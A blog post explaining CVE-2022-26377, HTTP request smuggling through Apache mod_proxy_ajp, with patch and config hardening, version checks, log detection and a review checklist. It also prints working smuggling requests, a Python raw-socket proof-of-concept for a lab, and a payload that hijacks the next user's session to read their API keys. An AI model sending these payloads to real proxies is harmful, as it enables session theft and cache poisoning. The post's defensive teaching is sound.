DEV Community

Stefan
Stefan

Posted on

Real-World CVE HTTP Request Smuggling Apache mod_proxy Example

Real-World CVE HTTP Request Smuggling in Apache mod_proxy

You run Apache as a reverse proxy in front of an application server. The front-end Apache decides where one request ends and the next begins, then forwards a stream over a reused keep-alive (or AJP) connection to the backend. If Apache and the backend disagree by even one byte about where the request boundary sits, an attacker can splice a second request into the connection and have the backend treat it as the next victim's traffic. That is CVE-2022-26377, a desync in mod_proxy_ajp fixed in Apache HTTP Server 2.4.54. Below is how the parsing disagreement arises, a lab you can stand up, and the patch.

How the mod_proxy smuggling desync actually works

Request smuggling lives in the gap between two HTTP parsers. The front-end proxy and the back-end origin both have to answer one question for every request on a shared connection: how long is the body? HTTP gives two answers, Content-Length and Transfer-Encoding: chunked, and RFC 7230 says if both are present you treat it as chunked and ideally reject the message. Real implementations are sloppier than the RFC. When the proxy honours one header and the origin honours the other, the boundary they compute diverges, and the trailing bytes of request one become the leading bytes of request two on the backend.

The two classic shapes are CL.TE and TE.CL. In CL.TE the front-end uses Content-Length and the back-end uses Transfer-Encoding. In TE.CL it is the reverse. If you are new to the boundary math, the HTTP request smuggling fundamentals lesson walks the byte counting step by step, which is worth doing once by hand before you trust any scanner output.

Here is a TE.CL payload annotated. The front-end (Apache) trusts Content-Length: 4 and forwards only 7\r\n plus a little more; the tolerant backend reads chunked, consumes the 7-byte chunk, and is left holding GET /admin as the start of the next request.

POST / HTTP/1.1
Host: victim.internal
Content-Length: 4
Transfer-Encoding: chunked

7
GET /admin HTTP/1.1
Host: victim.internal
X-Ignore: x
0


Enter fullscreen mode Exit fullscreen mode

The reason mod_proxy deployments were specifically exposed is that the proxy modules forwarded requests whose framing the front-end had already normalized in one way, to a backend speaking a protocol (AJP, or HTTP/1.1 to a permissive app server) that re-parsed framing differently. CVE-2022-26377 is the mod_proxy_ajp instance of this: inconsistent interpretation of an incoming request let an attacker smuggle a request through the AJP channel to the backend. The fix tightened how the AJP forwarder handles requests it should have rejected as ambiguous.

One detail the advisories gloss over: the desync does not require both framing headers to be malformed in the same way every Apache hop sees. AJP is a binary protocol, and mod_proxy_ajp re-encodes the HTTP request it received into AJP message structures. The translation step is where the framing the front-end computed gets re-asserted to the backend. If the front-end was lenient about a chunked body it should have rejected, the re-encoded AJP forward carries that leniency forward, and Tomcat's AJP connector parses the body length from the AJP framing rather than re-validating the original HTTP headers. That second parse is the disagreement. You are not smuggling past one parser; you are smuggling across a protocol boundary where the second parser has lost the context it would need to catch you.

Patching the desync: the upstream fix and your config hardening

The clean fix is to upgrade. CVE-2022-26377 is resolved in Apache HTTP Server 2.4.54. Anything from 2.4.53 and earlier that loads mod_proxy_ajp should be treated as vulnerable until you confirm the build. If you are on a distro package, check the changelog rather than the upstream version string, because vendors backport security fixes onto older version numbers (Red Hat and Debian both did this for the 2.4.54 batch).

Upgrading removes the AJP-specific bug. It does not remove the broader class, so harden the protocol handling too. Apache's mod_http2 and core HTTP/1.1 parser expose strictness controls, and the single most useful one for smuggling is HttpProtocolOptions Strict, which rejects requests with malformed framing instead of trying to be forgiving. Forgiveness is exactly what desync attacks feed on.

# httpd.conf

# Reject malformed request lines and ambiguous framing at the front door.
# Strict is the default since 2.2.32 / 2.4.24, but confirm it was not
# downgraded to Unsafe in a vhost or included file.
HttpProtocolOptions Strict

# Drop the connection on any protocol error rather than reusing it.
# A poisoned keep-alive connection is the vehicle for the second request.
LimitRequestFieldSize 8190
LimitRequestFields 100

<IfModule mod_proxy.c>
    # Do not pool/reuse backend connections across unrelated front-end
    # requests unless you trust the backend's framing completely.
    ProxyPass "/" "ajp://backend:8009/" disablereuse=on
</IfModule>
Enter fullscreen mode Exit fullscreen mode

disablereuse=on is a real tradeoff: it costs you connection pooling and adds latency, so measure before you ship it fleet-wide. Treat it as a stopgap for backends you cannot patch quickly, not a permanent posture. The deeper issue is that any layer accepting both Content-Length and Transfer-Encoding, or duplicate headers of either, is a candidate for desync; the same root cause shows up in ambiguous header and parameter parsing bugs that have nothing to do with proxies. If two parsers can disagree, eventually they will.

There is a second config trap worth naming. HttpProtocolOptions Strict governs Apache's own HTTP/1.1 parser, but it does not retroactively validate what mod_proxy_ajp forwards once Apache has accepted the request. So Strict plus a pre-2.4.54 binary still leaves the AJP re-encoding bug live: Apache accepts a request it considers well-formed, then forwards it into AJP where the framing disagreement reappears. Do not read a clean 400 on an obviously malformed payload as proof you are patched. The malformed-input rejection and the AJP desync are different code paths, and only the version bump closes the second one. Test both: an obviously broken request to confirm Strict is active, and a known-good CVE-2022-26377 probe to confirm the AJP path is patched.

If you front Apache with a CDN or another reverse proxy, normalize framing at the outermost hop too. The outermost layer that touches the request should reject anything carrying both length headers before it ever reaches Apache, so you are not relying on a single tier to be strict. Defense in depth here is cheap: every hop that rejects ambiguous framing is one fewer parser pair that can disagree.

Identifying the exact CVE and affected versions

CVE-2022-26377 affects Apache HTTP Server 2.4.53 and prior when mod_proxy_ajp is loaded and proxying to an AJP backend (commonly Tomcat). The trigger conditions matter: you need Apache acting as a reverse proxy, the AJP module active, and a backend that parses request framing more permissively than the front-end. A standalone Apache serving static files is not exposed through this path.

Confirm your exposure before you panic or before you declare yourself safe. Check the version and whether the module is actually loaded:

# Upstream version. Distro builds may show 2.4.x with a backported fix,
# so cross-check the package changelog for CVE-2022-26377.
httpd -v
# or on Debian/Ubuntu
apache2 -v

# Is the AJP proxy module compiled in or loaded?
apachectl -M 2>/dev/null | grep -i 'proxy_ajp'

# Find where AJP backends are configured.
grep -rEn 'ajp://|ProxyPass' /etc/httpd/ /etc/apache2/ 2>/dev/null
Enter fullscreen mode Exit fullscreen mode

If proxy_ajp_module does not appear in apachectl -M and no ajp:// targets show up in your config, this specific CVE does not apply to you. You may still be exposed to HTTP/1.1 smuggling against a mod_proxy_http backend, which is a related but distinct problem, so do not stop the audit at the AJP check. Note also that the same Tomcat AJP connector that makes this CVE reachable was itself the target of Ghostcat (CVE-2020-1938), so any host running an exposed AJP connector deserves a second look at its overall AJP posture, not just this single desync.

Reproducing the attack safely in a lab

Stand this up on an isolated network, never against anything you do not own. The goal is to prove the desync end to end: send one connection, watch two responses come back where you should only get one. Use a vulnerable Apache (2.4.53 or earlier) proxying to a backend that tolerates the framing Apache forwards.

# docker-compose.yml  (lab only, isolated network)
services:
  proxy:
    image: httpd:2.4.53          # pre-patch, vulnerable to CVE-2022-26377
    ports: ["8080:80"]
    volumes:
      - ./httpd.conf:/usr/local/apache2/conf/httpd.conf:ro
  backend:
    image: tomcat:9-jdk11        # AJP connector enabled in server.xml
    expose: ["8009"]
Enter fullscreen mode Exit fullscreen mode

Then drive it with a raw socket. We avoid requests here on purpose: high-level clients normalize headers and will quietly fix the malformed framing you are trying to send.

import socket

HOST, PORT = "127.0.0.1", 8080

# TE.CL desync: front-end honours Content-Length and forwards a short body;
# the tolerant backend reads chunked and treats the smuggled line as the
# start of the NEXT request on this connection.
smuggled = (
    "POST / HTTP/1.1\r\n"
    "Host: 127.0.0.1\r\n"
    "Content-Length: 4\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "1\r\n"
    "Z\r\n"
    "Q\r\n"          # this trailing chunk leaks into the next request
    "\r\n"
)

def send(payload: str) -> bytes:
    with socket.create_connection((HOST, PORT), timeout=5) as s:
        s.sendall(payload.encode("latin-1"))
        chunks = []
        try:
            while True:
                data = s.recv(4096)
                if not data:
                    break
                chunks.append(data)
        except socket.timeout:
            # A hung read is itself a signal: the backend is waiting for
            # bytes the front-end already "finished", i.e. a desync.
            pass
        return b"".join(chunks)

if __name__ == "__main__":
    resp = send(smuggled)
    print(f"received {len(resp)} bytes")
    print(resp.decode("latin-1", "replace")[:800])
Enter fullscreen mode Exit fullscreen mode

The tell is a timeout or a second status line you never asked for. On a patched 2.4.54 proxy with HttpProtocolOptions Strict, the same payload draws a clean 400 Bad Request and the connection closes, which is the behaviour you want. When you reproduce this, run the probe twice against the same connection if you can keep it open: the first request poisons the buffer, and the second, benign request is the one that returns the smuggled response. A single-shot test that closes the socket immediately will sometimes miss the desync because the backend never gets a chance to act on the leftover bytes.

Impact: from desync to auth bypass and cache poisoning

A desync is only the primitive. The damage comes from what you splice in. The highest-value target is the request hijack: you prepend a partial request that has no terminating boundary, so the front-end appends the next real user's request, including their session cookie, onto your smuggled prefix. The backend answers your URL with their credentials, and you capture the response.

POST /search HTTP/1.1
Host: victim.internal
Content-Length: 142
Transfer-Encoding: chunked

0

GET /account/api-keys HTTP/1.1
Host: victim.internal
X-Capture: 
Enter fullscreen mode Exit fullscreen mode

That trailing X-Capture: header is left open. The next victim's request line and Cookie: header get glued onto it, so their authenticated session drives a fetch of /account/api-keys. This is also the cleanest front-end authentication bypass you will find: when the proxy enforces access control on the path it sees, the smuggled inner request never passes that check because the front-end never parsed it as a request at all.

The second payoff is cache poisoning. If a CDN or mod_cache layer keys responses by URL, a smuggled request that forces an attacker-controlled response onto a popular path serves that response to everyone, no per-victim interaction needed. Combine it with a reflected sink and you get persistence: this is the standard route for chaining smuggling into stored XSS, where the poisoned cache entry carries your script to every subsequent visitor until the entry expires. A single poisoned entry on a heavily trafficked path can serve thousands of users before TTL expiry, which is why cache-keyed smuggling outranks a one-shot hijack in most threat models.

Note: the auth bypass and the cache poison have different blast radii. Hijack is targeted and noisy; cache poison is broad and quiet. Defenders should not assume a single response signature covers both. You can see the full set of escalation primitives, including connection-locking variants, indexed on the smuggling reference on Code Review Lab, which is useful when you are mapping a specific desync to its realistic impact rather than the worst-case headline.

Detecting smuggling attempts in logs and traffic

You cannot reliably log the smuggled inner request, because by definition your front-end never saw it as a request. What you can catch is the malformed outer request and the timing artefacts. Start by flagging any request that carried both framing headers, which a well-behaved client never sends:

# Requires a log format that captures both headers, e.g.:
#   LogFormat "%h \"%r\" %>s TE:%{Transfer-Encoding}i CL:%{Content-Length}i" smuggle
# Flag lines where both are present and non-empty.
awk -F'TE:|CL:' '
  /TE:/ && /CL:/ {
    te=$2; sub(/ CL:.*/,"",te)
    cl=$3
    if (te !~ /^-?[[:space:]]*$/ && cl !~ /^-?[[:space:]]*$/)
      print
  }' access.log
Enter fullscreen mode Exit fullscreen mode

Add these to your watchlist beyond the dual-header case. Requests with a Transfer-Encoding value that is anything other than a bare chunked (whitespace tricks like Transfer-Encoding:\tchunked, or chunked, identity) are obfuscation attempts. Bursts of 400 responses from the proxy paired with backend 408 timeouts on the same upstream connection point at framing rejection working as intended. And a sudden rise in responses whose body does not match the requested path, surfaced by comparing logged URL against response content-type, suggests a hijack in progress.

Timing probes are the most reliable active check. A differential-response test (send a request that would hang the backend only if a desync occurred, and measure the delay) confirms the vulnerability without needing a victim. Burp's smuggling tooling automates this, but the manual socket script above is enough to validate a single host during incident response. One caveat on the log-based detection: AJP-channel smuggling can leave a thinner trail than HTTP/1.1 smuggling, because the malformed framing is partly consumed by the proxy before re-encoding. Lean on timing and response-mismatch signals over header logging when the backend is AJP.

Code review checklist for proxy and parsing bugs

The bug class outlives any single CVE, so review for the disagreement, not the signature. When you read any service that forwards HTTP, or any proxy config, ask:

  • Does the code read body length from Content-Length and Transfer-Encoding independently anywhere? If both can be honoured, that is a desync waiting to happen. Reject messages carrying both.
  • Are duplicate Content-Length headers collapsed, rejected, or silently first-wins/last-wins? First-wins on one hop and last-wins on the next is a textbook CL.CL desync.
  • Is Transfer-Encoding parsed by exact match (== "chunked") or by substring/contains? Substring matching accepts chunked, x and obfuscated variants.
  • Does the proxy reuse upstream connections across distinct downstream clients? If yes, one poisoned connection contaminates the next user. Confirm framing is validated before reuse.
  • When the parser hits a malformed request, does it close the connection or try to recover and continue reading? Recovery on a shared connection is the vulnerability.
  • Does any translation step (HTTP to AJP, HTTP/1.1 to HTTP/2, gateway to backend protocol) re-assert a length the original parser computed, instead of re-validating from scratch? That re-encoding is where CVE-2022-26377 lived.

Reviewers find more of these by reading the parser's length logic out loud than by scanning for keywords, because the bug is an interaction between two correct-looking pieces of code. Building that instinct is exactly the kind of secure code review skills that catch desync before it ships, and the same questions apply whether the forwarder is Apache, Nginx, an API gateway, or a service mesh sidecar.

Further reading

  • HTTP request smuggling fundamentals, for the byte-counting walkthrough behind CL.TE and TE.CL
  • Ambiguous header and parameter parsing, the same disagreement class outside proxies
  • The NVD entry for CVE-2022-26377, for the authoritative affected-version list and references
  • RFC 7230 section 3.3.3, the message-length rules every parser in the chain should agree on
  • James Kettle's original HTTP request smuggling research on the PortSwigger blog, for the escalation techniques

Tomorrow morning, run apachectl -M | grep proxy_ajp on every reverse proxy you own, and for each one that loads it, confirm the build is 2.4.54 or carries the backported CVE-2022-26377 fix. If you cannot confirm in five minutes, set disablereuse=on on those backends until you can. A non-reused connection cannot be poisoned across users, which buys you time to patch properly.

Top comments (0)